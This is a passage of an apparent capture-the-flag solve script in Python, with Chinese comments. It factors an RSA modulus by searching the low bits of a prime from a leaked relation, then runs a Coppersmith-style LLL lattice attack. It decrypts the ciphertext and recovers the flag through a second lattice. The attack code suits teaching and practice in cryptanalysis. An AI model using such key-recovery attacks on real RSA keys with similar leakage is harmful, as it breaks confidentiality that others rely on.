    bits_target = 777
    candidates = [1]
    for k in range(1, bits_target):
        mod = 2**(k + 1)
        new_candidates = []
        for cand in candidates:
            p0 = cand
            if (pow(p0, 20, mod) - (gift2 * pow(p0, 13, mod)) + pow(n_val, 13, mod)) % mod == 0:
                new_candidates.append(p0)
            p1 = cand | (1 << k)
            if (pow(p1, 20, mod) - (gift2 * pow(p1, 13, mod)) + pow(n_val, 13, mod)) % mod == 0:
                new_candidates.append(p1)
        candidates = new_candidates
    
    # --- Step 3: Coppersmith Attack (Dimension 3) ---
    print("[*] Step 3: Coppersmith Attack (3x3 Lattice)")
    p = 0
    q = 0
    
    for p_low in candidates:
        inv_scale = inverse(2**777, n_val)
        A = (p_low * inv_scale) % n_val
        X = 2**250
        
        # 构造 3维格
        # Polynomials: N, (x+A), x(x+A)
        # Shifted vectors (coeffs of 1, x, x^2):
        # 1. N(1)   -> [N, 0, 0]
        # 2. (x+A)  -> [A, X, 0]
        # 3. x(x+A) -> [0, AX, X^2]  <-- 注意这里的系数位置
        #   x(x+A) = x^2 + Ax. Coeffs: const=0, x=A, x^2=1. Scaled by X^k:
        #   x coeff is scaled by X. x^2 coeff is scaled by X^2.
        #   Vector: [0, A*X, 1*X*X]
        
        M = [
            [n_val, 0, 0],
            [A, X, 0],
            [0, A*X, X*X]
        ]
        
        reduced = lll_reduction_integer(M)
        
        # 检查所有行
        for row in reduced:
            # P(x) = v0 + v1(x/X) + v2(x/X)^2
            # P(x) = row[0] + (row[1]//X)*x + (row[2]//X^2)*x^2
            
            c0 = row[0]
            c1 = row[1] // X
            c2 = row[2] // (X*X)
            
            # 我们在寻找整数根 x。
            # 如果 c2 == 0, 则是线性方程: x = -c0/c1
            if c2 == 0 and c1 != 0:
                if c0 % c1 == 0:
                    x_cand = -c0 // c1
                    p_cand = x_cand * (2**777) + p_low
                    if p_cand > 1 and n_val % p_cand == 0:
                        p = int(p_cand)
                        q = n_val // p
                        print(f"    [+] Found p = {p}")
                        break
            
            # 如果 c2 != 0, 解二次方程: c2*x^2 + c1*x + c0 = 0
            elif c2 != 0:
                delta = c1*c1 - 4*c2*c0
                if delta >= 0:
                    sq = math.isqrt(delta)
                    if sq * sq == delta:
                        # roots = (-c1 +/- sq) / 2c2
                        for s in [1, -1]:
                            num = -c1 + s*sq
                            den = 2*c2
                            if den != 0 and num % den == 0:
                                x_cand = num // den
                                p_cand = x_cand * (2**777) + p_low
                                if p_cand > 1 and n_val % p_cand == 0:
                                    p = int(p_cand)
                                    q = n_val // p
                                    print(f"    [+] Found p = {p}")
                                    break
            if p: break
        if p: break
        
    if not p:
        print("[-] Step 3 Failed.")
        return

    # --- Step 4 ---
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    m_val = pow(c_val, d, n_val)
    print(f"    [+] m recovered")

    # --- Step 5: Flag Lattice (Scaled) ---
    print("[*] Step 5: Flag Lattice (Scaled)")
    
    # Scale last column by S to balance the lattice
    # f0 ~ 2^256, diff ~ 2^99. 
    # We want f0 approx S * diff. => S approx 2^157.
    S = 2**160 
    
    M_flag = [
        [1, 0, x_sol * S],
        [0, 1, y_sol * S],
        [0, 0, m_val * S]
    ]
    
    reduced = lll_reduction_integer(M_flag)
    
    for row in reduced:
        for sign in [1, -1]:
            try:
                # row[0], row[1] correspond to f0, f1
                part1 = long_to_bytes(abs(row[0]))
                part2 = long_to_bytes(abs(row[1]))
                
                cands = [part1 + part2, part2 + part1]
                for c in cands:
                    if b'flag{' in c or b'}' in c:
                        print("\n[SUCCESS] Flag: " + c.decode(errors='ignore'))
                        return
            except: pass
            
    print("[-] Flag auto-check failed.")

if __name__ == "__main__":
    main()